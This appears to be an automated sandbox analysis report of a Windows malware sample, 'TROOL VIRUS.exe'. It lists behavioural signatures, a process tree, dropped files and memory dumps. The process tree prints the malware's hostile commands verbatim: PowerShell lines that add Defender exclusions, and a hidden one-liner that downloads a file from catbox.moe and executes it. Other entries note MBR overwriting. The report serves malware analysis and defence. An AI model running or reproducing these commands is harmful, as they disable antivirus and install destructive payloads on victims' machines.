Analysis
- user interaction
yes - max time kernel
22s - max time network
24s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
17/04/2026, 11:30
Errors
General
- Target TROOL VIRUS.exe
- Size 1.1MB
- Sample260417-nmacpsft4z
- SHA256 42b97532cd86de122c2dde5d9eeeb176adbe4be9cb3b5afe94f0876ce8e0d3d9
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables Task Manager via registry modification
- Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 10 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 13 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\TROOL VIRUS.exe"C:\Users\Admin\AppData\Local\Temp\TROOL VIRUS.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\dllhost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'dllhost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7395.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\dllhost.exeC:\Users\Admin\AppData\Roaming\dllhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\dllhost.exeC:\Users\Admin\AppData\Roaming\dllhost.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Virus.exe"C:\Users\Admin\AppData\Roaming\Virus.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\PEEKABOO.COM"C:\Users\Admin\AppData\Roaming\PEEKABOO.COM"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\MBR2.exe"C:\Users\Admin\AppData\Roaming\MBR2.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\MatrixMBR.exe"C:\Windows\System32\MatrixMBR.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\GDI.exe"C:\Users\Admin\AppData\Local\Temp\GDI.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Local\Temp\MBR.exe"C:\Users\Admin\AppData\Local\Temp\MBR.exe"5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\TROLL5.exe"C:\Users\Admin\AppData\Roaming\TROLL5.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Roaming\TROLL2.exe"C:\Users\Admin\AppData\Roaming\TROLL2.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x4f8 0x4e01⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
dllhost.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
GDI.exe
MBR.exe
__PSScriptPolicyTest_vcsgmts0.43o.ps1
tmp7395.tmp.bat
MBR2.exe
PEEKABOO.COM
TROLL2.exe
TROLL5.exe
Virus.exe
dllhost.exe
MatrixMBR.exe
memory/372-26-0x0000023793810000-0x000002379381C000-memory.dmp
memory/1596-127-0x00000000058C0000-0x0000000005934000-memory.dmp
memory/1596-98-0x0000000005C00000-0x0000000005C0A000-memory.dmp
memory/1596-129-0x0000000007930000-0x00000000079AE000-memory.dmp
memory/1596-128-0x0000000007710000-0x000000000774B000-memory.dmp
memory/1596-97-0x0000000005A50000-0x0000000005AE2000-memory.dmp
memory/1596-96-0x0000000006000000-0x00000000065A4000-memory.dmp
memory/1596-95-0x0000000000F40000-0x0000000000FF8000-memory.dmp
memory/1680-4-0x00000156DB2D0000-0x00000156DB2E0000-memory.dmp
memory/1680-15-0x00000156C12E0000-0x00000156C12EC000-memory.dmp
memory/1680-5-0x00000156C2C00000-0x00000156C2C22000-memory.dmp
memory/1680-3-0x00000156DB2D0000-0x00000156DB2E0000-memory.dmp
memory/1780-94-0x00000000009E0000-0x00000000009EC000-memory.dmp
memory/1780-57-0x0000000000150000-0x000000000023C000-memory.dmp
memory/1780-58-0x000000001AF60000-0x000000001B044000-memory.dmp
memory/1884-149-0x0000000000C80000-0x0000000000C88000-memory.dmp
memory/2328-131-0x0000000000530000-0x0000000000576000-memory.dmp
memory/2328-154-0x0000000002630000-0x000000000263C000-memory.dmp
memory/2436-126-0x00000000012A0000-0x00000000012AC000-memory.dmp
memory/2436-74-0x0000000000AD0000-0x0000000000B0A000-memory.dmp
memory/3460-51-0x0000000000B00000-0x0000000000B10000-memory.dmp
memory/3560-1-0x000000001B270000-0x000000001B280000-memory.dmp
memory/3560-37-0x0000000000E10000-0x0000000000E1C000-memory.dmp
memory/3560-0-0x0000000000540000-0x0000000000668000-memory.dmp
memory/4100-39-0x000000001BE50000-0x000000001BF48000-memory.dmp
memory/4100-112-0x0000000003070000-0x000000000307C000-memory.dmp
memory/4444-111-0x000002A04AB20000-0x000002A04AB2C000-memory.dmp
memory/4772-130-0x0000000000400000-0x000000000041D000-memory.dmp